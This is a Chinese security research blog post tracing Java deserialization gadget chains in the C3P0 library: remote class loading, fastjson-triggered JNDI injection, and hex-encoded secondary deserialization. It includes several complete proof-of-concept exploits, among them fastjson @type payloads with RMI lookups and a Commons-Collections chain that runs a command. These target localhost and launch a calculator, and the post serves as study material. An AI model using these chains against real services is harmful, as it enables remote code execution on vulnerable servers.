C3P0

Java反序列化调用链之C3P0

C3P0

概述

C3P0是一个开源的数据库连接池,它实现了数据源于JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。

连接池的定义:连接池类似于线程池,简单来说其实就是这里定义了一个句柄,当需要进行数据库连接时会直接使用这个句柄,而不是多次重复频繁地创建或销毁句柄,造成很大的资源消耗。而当不使用时将其放回到连接池中。

为了避免频繁地创建和销毁JDBC链接,我们就可以通过连接池(Connection Pool)复用已经创建好的连接。

maven依赖如下:

1
2
3
4
5
<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

测试环境:

  • JDK8u71

利用

常见的利用方式有如下三种:

  • URLClassLoader远程类加载
  • JNDI注入
  • 利用HEX序列化字节加载器进行反序列化攻击

URLClassLoader远程类加载

URLClassLoader这个类加载器也是前面了解过的,可以用来加载远程类,这里的调用链过程如下:

1
2
3
4
PoolBackedDataSourceBase#readObject 
	ReferenceSerialized#getObject 
		ReferenceableUtils#referenceToObject 
			ObjectFactory#getObjectInstance

跟进PoolBackedDataSourceBase类的readObject()方法:

image-20250424103252691

满足这里反序列化出来的类是IndirectlySerialized的实现类就会调用到这个类的getObject()方法,看一下PoolBackedDataSourceBase类的writeObject()方法:

image-20250424103458766

可以看到反序列化要利用的类对应的就是connectionPoolDataSource变量,变量定义如下:

image-20250424105715424

还有个setter方法来对这个变量进行设值,要求类型为ConnectionPoolDataSource,但是这个类型相对应的类是没有实现Serializable接口的,所以是不可序列化的,在尝试序列化是会直接报错进行到catch语句,主要实现逻辑就是SerializableUtils.toByteArray()方法会尝试进行序列化,这里的SerializableUtils类的toByteArray()方法会调用serializeToByteArray()方法:

image-20250424112733303

也就是会先检测是否可以序列化。

所以其实在writeObject()方法中,是会在catch中进行序列化:

image-20250424112839028

可以看到这里是实例化了一个ReferenceIndirector类,然后调用这个类的indirectForm()方法,最后序列化这个方法返回的类,那么我们跟进ReferenceIndirector类的indirectForm()方法:

image-20250424113008750

可以看到这里对传进来的类实例调用了一个getReference()方法,这个getReference()方法在我们学习jndi注入时还是比较常用,就是获取被引用的类,然后实例化了一个ReferenceSerialized被用于序列化

看了一下,这个ReferenceSerialized类是实现了IndirectlySerialized接口的,所以这里是可以在反序列化时正常利用的。

再看反序列化调用,那么就会调用到ReferenceSerialized类的getObject()方法:

image-20250424114333292

如果这里的contextName变量可控的话,那么就可以打一次jndi注入,溯源了一下contextName的赋值,想要利用的话,其实就是需要控制ReferenceIndirector类的初始化,但是这个类是在序列化时直接初始化的,不可控。

那么继续跟进ReferenceableUtils类的referenceToObject()方法:

image-20250424115407351

可以看到是调用了URLClassLoader类加载器来进行远程类加载,主要的需要利用的点是ref,并且这个是可控的,就是序列化时调用getReference()方法得到的类:

image-20250424115700401

所以现在主要的点就是看这里我们需要将这个o设置成什么类,也就是PoolBackedDataSourceBase类的connectionPoolDataSource变量设置成什么需要的类,可以发现这里是有一个类型转换的,强制转换为了Referenceable,根据这个接口类找了一下,没发现可以直接利用的类。

那么这里可以尝试自己实现这个类,在序列化时将其写进去(这里有点问题,看后面会有说明,可以先自己想一下为什么之类需要自定义类,具体的实现过程又是什么),达到在反序列化时成功调用的效果,就是需要满足一些条件,以使得可以在序列化或者反序列化时达到想要的效果:

  • 没有实现Serializable接口
  • 实现ConnectionPoolDataSource接口
  • 实现Referenceable接口

最后的POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package C3P0;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class Main {
    public static void main(String[] args) throws Exception {
        PoolBackedDataSourceBase pool = new PoolBackedDataSourceBase(false);
        Reference ref = new Reference("MyTest", "MyTest", "http://127.0.0.1:7979/");
        PoolTest poolTest = new PoolTest(ref);
        pool.setConnectionPoolDataSource(poolTest);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(pool);
        out.close();
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();
    }
}

class PoolTest implements Referenceable,ConnectionPoolDataSource{

    public Reference reference;

    public PoolTest(Reference reference){
        this.reference = reference;
    }

    @Override
    public Reference getReference() throws NamingException {
        return this.reference;
    }

    @Override
    public PooledConnection getPooledConnection() throws SQLException {
        return null;
    }
    @Override
    public PooledConnection getPooledConnection(String user, String password) throws SQLException {
        return null;
    }
    @Override
    public PrintWriter getLogWriter() throws SQLException {
        return null;
    }
    @Override
    public int getLoginTimeout() throws SQLException {
        return 0;
    }
    @Override
    public void setLoginTimeout(int seconds) throws SQLException {

    }
    @Override
    public void setLogWriter(PrintWriter out) throws SQLException {

    }
    @Override
    public Logger getParentLogger() throws SQLFeatureNotSupportedException {
        return null;
    }
}

需要定义一个远程HTTP服务用于类加载:

image-20250424161032367

然后运行即可弹出计算机。

————

对于这里自定义类的利用方法,在反序列化时调试了一下,其实是一个非常好用的点,这里我自定义了一个PoolTest类,只是用于一个过渡,只是为了在序列化时放入想要的类:

image-20250424152842865

序列化正常调用时会调用到如上的方法,我们最后要序列化的类是ReferenceSerialized类,这里我们自定义了PoolTest类,为的就是能够在这里调用getTeference()方法时返回一个定义好了的Reference类,这样在反序列化调用到ReferenceSerialized类的getObject()方法时可以利用到我们构造好的Reference,从而达到远程类加载的过程。所以其实这里序列化是完全没有序列化自定义的PoolTest类的,只是起到了一个过渡的作用,用来提供我们需要利用的Reference类

最后,可以注意到ReferenceableUtils类的referenceToObject()方法调用Class.forname()时,是设置为了true的,所以可以尝试直接在Class.forName()时直接进行命令执行,而不是调用newInstance()方法时才命令执行,并且测试成功。

打本地类*

算是上面的URLClassLoader的延伸,当Reference类的classFactoryLocation为null时,就不会进行远程类加载,而是在本地进行寻找利用。这里可以参考高版本jndi注入的打法,参考如下文章:

https://xz.aliyun.com/news/11340

————————

结合fastjson达到JNDI注入

这里主要是需要调用到setter方法,需要找一个可以触发setter方法的利用点,比较经典的就是fastjson了,当然jackson应该也可以。

这里的sink点位于JndiRefForwardingDataSource类的dereference()方法:

image-20250424162425965

简单看了一下这里关键的getJndiName()方法,这个方法存在于父类JndiRefDataSourceBase中,然后还有setter来进行设置值:

image-20250424165725722

从代码逻辑看是可以将其设置为一个字符串类型的,可以尝试打jndi注入。

那么看哪里调用了dereference()方法,全局搜索看到在inner()方法有调用:

image-20250424162705935

再看哪里调用了inner()方法: image-20250424162858344

主要就是如上的几个getter和setter可以调用。

感觉可以直接打反序列化调用链触发getter方法。但是这个类没有被public修饰,而是被final修饰,外部无法实例化,只能放弃从反序列化调用链来打。

但是可以看到还有setter方法有调用到inner()方法,所以我们可以尝试打fastjson反序列化触发,这里以低版本的fastjson反序列化为例来触发:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
package C3P0;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Main{
    public static void main(String[] args) {
        String json = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\":\"rmi://127.0.0.1:1099/Hello\",\"loginTimeout\":\"1\"}";
        JSONObject obj = JSON.parseObject(json);
    }
}

成功弹出计算机。

——————

但是看网上的文章,是打的另外一个类,但本质也是调用的setLoginTimeout()方法来进行的jndi注入,多加了几个过渡类并且入口类也不同了,可以用来绕过,学习一下。

定位到JndiRefConnectionPoolDataSource类的setLoginTimeout()方法:

image-20250424171447331

跟进wcpds变量的赋值,发现在JndiRefConnectionPoolDataSource类实例化时有对变量赋值的操作:

image-20250424171632769

可以看这里实例化了一个JndiRefForwardingDataSource类实例,也就是前面利用到的类,这里还实例化了一个WrapperConnectionPoolDataSource类。我们可以看到这里调用了setNestedDataSource方法来对WrapperConnectionPoolDataSource类变量进行赋值: image-20250424172326926

也就是将WrapperConnectionPoolDataSource类的变量nestedDataSource赋值为JndiRefForwardingDataSource类实例。

再看JndiRefConnectionPoolDataSource类的setLoginTimeout()方法:

image-20250424172636503

这里会调用WrapperConnectionPoolDataSource类父类WrapperConnectionPoolDataSourceBase的setLoginTimeout()方法:

image-20250424172850756

看这里的getNestedDataSource()方法:

image-20250424172921797

对应的就是前面的jrfds变量,也就是JndiRefForwardingDataSource类实例,那么之类就是可以调用到JndiRefForwardingDataSource类的setLoginTimeout()方法,实现一次前面分析过的触发jndi注入的调用链。

并且JndiRefConnectionPoolDataSource类提供了setJndiName()方法来对变量进行赋值:

image-20250424180511190

这样就赋值需要满足的条件了。

基本过程已经清晰,如下POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
package C3P0;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Main{
    public static void main(String[] args) {
        String json = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\",\"jndiName\":\"rmi://127.0.0.1:1099/Hello\",\"loginTimeout\":\"1\"}";
        JSONObject obj = JSON.parseObject(json);
    }
}

也是打jndi弹出计算机。

——————

看思路的过程中,我对于打fastjson反序列化调用链的想法又死灰复燃了:

可以看到JndiRefConnectionPoolDataSource类是public修饰的类,并且有public的构造方法,还实现了Serializable接口:

image-20250424174947918

并且还定义了JndiRefForwardingDataSource类可以调用到inner()方法的几个方法:

image-20250424175343543

就反序列化来说,为了方便,这里肯定是需要利用getter,这里的getLoginTimeout()就非常符合,对于wcpds调用的getLoginTimeout()方法,其实我在前面的截图也是截出来了的:

image-20250424175607440

熟悉的getNestedDataSource()方法,熟悉的JndiRefForwardingDataSource类实例,并且正如前面分析,JndiRefConnectionPoolDataSource类还提供了一个setJndiName()方法来给我们需要改变的变量赋值。完美符合,那么可以尝试构造如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package C3P0;

import com.alibaba.fastjson.JSONObject;
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class Main{
    public static void main(String[] args)  throws Exception{
        JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource = new JndiRefConnectionPoolDataSource(false);
        jndiRefConnectionPoolDataSource.setJndiName("rmi://127.0.0.1:1099/Hello");

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("fupanc",jndiRefConnectionPoolDataSource);

        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        Field f = bad.getClass().getDeclaredField("val");
        f.setAccessible(true);
        f.set(bad,jsonObject);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(bad);
        out.close();
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();
    }
}

运行报错,并且调试也调试不动,查看报错内容:

image-20250424183138554

可以看到主要是和一个reregister有关,在想是不是JndiRefConnectionPoolDataSource的父类实现了readObject(),简单跟进了IdentityTokenResolvable类,确实存在报错中弹出的几个方法:

image-20250424183555291

在这里我看到了一个C3P0Registry.reregister()方法,想到了在初始化JndiRefConnectionPoolDataSource类时也有这方面的代码:

image-20250424183704671

为了方便我把autoregister设置成了false,可以少分析一些代码,那么这里将其设置为true尝试一下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package C3P0;

import com.alibaba.fastjson.JSONObject;
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class Main{
    public static void main(String[] args)  throws Exception{
        JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource = new JndiRefConnectionPoolDataSource();
        jndiRefConnectionPoolDataSource.setJndiName("rmi://127.0.0.1:1099/Hello");

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("fupanc",jndiRefConnectionPoolDataSource);

        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        Field f = bad.getClass().getDeclaredField("val");
        f.setAccessible(true);
        f.set(bad,jsonObject);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(bad);
        out.close();
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();
    }
}

成功弹出计算机。

哦哦哦哦,成功了!!!

但是在调试过程中,可以发现是调用的另外的getter方法,而不是我们想要利用的getLoginTimeout()方法:

image-20250424184244052

影响不大,因为JndiRefForwardingDataSource类的getLogWriter()方法也是调用了inner()方法的,也是前面一直都在截图中表现出来的:

image-20250424184521478

最后成功在反序列化调用链中实现jndi注入,后面看了一下,rome链应该也可以触发这个getter方法从而来打jndi注入,链子就不搓了,都差不多的。

感觉网上对于这个点反序列化链没怎么分析,后续可以考虑用来出题试试。

综上,有三个利用点。

Hex序列化

这里利用到的类是WrapperConnectionPoolDataSource,这个类位于com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,其实前面打jndi那里都是说过的。在这里可以用来打二次反序列化。

————————

定位到这个类的构造方法:

image-20250424211604695

这里先分析图中框出来的方法,在参数传递中,这里会调用getUserOverridesAsString()方法,这里会调用到父类WrapperConnectionPoolDataSourceBase的getUserOverridesAsString()方法:

image-20250424211748766

会返回这个值。

那么现在跟进C3P0ImplUtils类的parseUserOverridesAsString()方法:

image-20250424211909854

可以看到对字符串进行了截取操作,获取的HASM_HEADER变量长度然后再进行的截取,看一下这个变量的定义:

image-20250424212549095

可以看到是有硬编码进去的变量,然后我注意到这里的一个方法:createUserOverridesAsString(),不管是方法名或者这里逻辑,感觉都非常符合前面的截取操作,方法中间调用的SerializableUtils.toByteArray是一个序列化操作,跟进就知道了,并且外面套的ByteUtils类的toHexAscii()方法是一个hex编码的操作,和后面的分析也非常符合,这么巧?先不管,后续利用的时候再看看。

然后调用了ByteUtils类的fromHexAscii()方法,这是一个hex解码的操作,然后再跟进会调用的SerializableUtils类的fromByteArray()方法:

image-20250424212230407

再跟进deserializeFromByteArray()方法:

image-20250424212259530

这里有一个反序列化的操作,那么现在就是看怎么控制这个bytes变量了。

从前面的分析中,我们其实已经可控这个userOverridesAsString变量了,唯一问题就是怎么进行利用,直接看一个正面使用例子,再慢慢分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package C3P0;

import com.mchange.v2.c3p0.impl.C3P0ImplUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import java.lang.reflect.Field;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.HashMap;
import java.util.Map;
import java.lang.Runtime;

public class Main{
    public static void main(String[] args)  throws Exception{
        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};
        Transformer chain = new ChainedTransformer(fakeTransformer);
        Map haha = new HashMap();
        Map lazy = LazyMap.decorate(haha,chain);
        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
        HashMap hashMap = new HashMap();
        hashMap.put(outerMap,"fupanc");
        haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行

        Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
        x.setAccessible(true);
        x.set(chain,chainpart);

        WrapperConnectionPoolDataSource wrapperConnectionPoolDataSource = new WrapperConnectionPoolDataSource();

        String hex = C3P0ImplUtils.createUserOverridesAsString(hashMap);
        System.out.println(hex);
        wrapperConnectionPoolDataSource.setUserOverridesAsString(hex);
    }
}

运行弹出计算机。现在肯定还存在疑问,不是只在实例化时才会调用parseUserOverridesAsString()方法,从而可以触发到反序列化,但是刚开始序列化时是没有值的,是进行不了的,放入值是在后面的setUserOverridesAsString()方法中,为什么可以利用到呢?其实重点就是这个setUserOverridesAsString()方法,看后续分析。

这里要先说明几个点:

对于hex编码以及长度控制,我这里是直接利用的C3P0ImplUtils类的createUserOverridesAsString()方法,这个方法要求参数为Map类型:

image-20250424222852141

并且这个方法是静态方法,调用静态方法可通过类名访问或者对象访问。所以我这里是通过C3P0ImplUtils.createUserOverridesAsString()方法直接生成的需要的数据。

当然如果是网上的利用方法,应该是可以接其他的入口类的,我这里就只能接Map实现对象。

———

现在再来看这个setUserOverridesAsString()方法,可以在CC链的Transform方法打一个断点来看调用栈,比较关键的就是如下:

1
2
3
4
5
6
7
8
9
readObject:371, ObjectInputStream (java.io)
deserializeFromByteArray:144, SerializableUtils (com.mchange.v2.ser)
fromByteArray:123, SerializableUtils (com.mchange.v2.ser)
parseUserOverridesAsString:318, C3P0ImplUtils (com.mchange.v2.c3p0.impl)
vetoableChange:110, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0)
fireVetoableChange:375, VetoableChangeSupport (java.beans)
fireVetoableChange:271, VetoableChangeSupport (java.beans)
setUserOverridesAsString:387, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)
main:36, Main (C3P0)

调试跟进setUserOverridesAsString()方法:

image-20250424223830610

原先的userOverridesAsString本来就没有赋值,所以为null,跟进eqOrBothNull()方法: image-20250424224134788

很正常会返回false,看这里的vcs变量的定义:

image-20250424224535437

看一下VetoableChangeSupport类的实例化:

image-20250424224618121

所以这里的vcs变量定义如下是非常正常的:

image-20250424224702954

所以会调用到VetoableChangeSupport类的fireVetoableChange()方法:

image-20250424224844638

实例化了一个PropertyChangeEvent类,效果如下:

image-20250424224957597

再回去看,会调用到另一个重载的fireVetoableChange()方法,比较关键的如下代码:

image-20250424225311621

然后会调用到WrapperConnectionPoolDataSource类的setUpPropertyListeners()方法,其实这个方法在WrapperConnectionPoolDataSource类初始化事也调用了的,看这个方法内部: image-20250424225700917

可以看到再次调用了C3P0ImplUtils类的parseUserOverridesAsString()方法,这里的过程就和前面分析的差不多了,就不多赘述了。

所以这里就是利用到这个setter方法即可,在fastjson中的打法如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package C3P0;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.mchange.v2.c3p0.impl.C3P0ImplUtils;
import java.lang.reflect.Field;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.HashMap;
import java.util.Map;
import java.lang.Runtime;

public class Main{
    public static void main(String[] args)  throws Exception{
        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};
        Transformer chain = new ChainedTransformer(fakeTransformer);
        Map haha = new HashMap();
        Map lazy = LazyMap.decorate(haha,chain);
        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
        HashMap hashMap = new HashMap();
        hashMap.put(outerMap,"fupanc");
        haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行

        Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
        x.setAccessible(true);
        x.set(chain,chainpart);

        String hex = C3P0ImplUtils.createUserOverridesAsString(hashMap);
        System.out.println(hex);

        String json = "{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\""+hex+"\"}";
//        System.out.println(json);
        JSONObject obj = JSON.parseObject(json);
    }
}

运行弹出计算机。

对于这一部分的说法,这一篇先知文章的说法也是挺有意思的,监听改变然后进行处理:https://xz.aliyun.com/news/11340

这样的话就利用不了,监听属性,那么肯定是需要类的属性有改变,对于getter方法的调用是无法进行的。

最后,其实上面的点大部分都是调用的setter,只是我找到了一条触发getter的反序列化调用链,调用setter都是使用的fastjson,档案使用jackson应该也是可以的。

参考文章:

https://nivi4.notion.site/C3P0-5f394336d9604e8ca80e0bb55c4ce473

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计